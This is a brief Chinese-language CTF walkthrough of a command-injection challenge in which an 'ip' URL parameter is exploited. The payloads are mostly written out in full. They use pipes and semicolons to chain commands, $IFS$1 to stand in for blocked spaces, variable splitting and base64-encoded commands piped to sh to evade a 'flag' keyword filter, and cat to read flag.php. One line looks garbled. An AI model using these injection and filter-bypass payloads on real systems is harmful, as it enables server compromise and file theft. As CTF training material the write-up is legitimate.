探测
发现可以执行其他命令/?ip=127.0.0.1|ls
尝试读取flag.php
/?ip=127.0.0.1|cat flag.php
给了提示fu*k your space!,显然空格被加入黑名单了,尝试其他代表空格的字符
经测试$IFS$1成功,其中的1可以使用其他数字或@均可
$IFS是shell的内部字段分隔符变量,默认包含空格、制表符等空白字符。IFS$1flag.php`
flag也不能包含,查看index.php
发现?>显示了而<?php未显示,查看网页源代码
得知只要有*f.*l.*a.*g.*,就过不了,将"f""l""a""g"顺序打乱,用一个变量表示其中的字母,同时为了让服务器正确识别,应指代lag.php、lag、ag、g等
构造payload
/?ip=127.0.0.1;a=lag;cat$IFS$1f$a.php
当前目录就包含flag.php,不一定指定flag.php
/?ip=|cat$IFS$1`ls`
/?ip=|ls|xargs$IFS$1cat
也可使用编码绕过
/?ip=|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh #不能出现bash,故用sh
/?ip=|cat$IFS$1`echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d`
/?ip=|cat$IFS$1`echo$IFS$1ZmxhZy5waHA=|base64$IFS$1-d`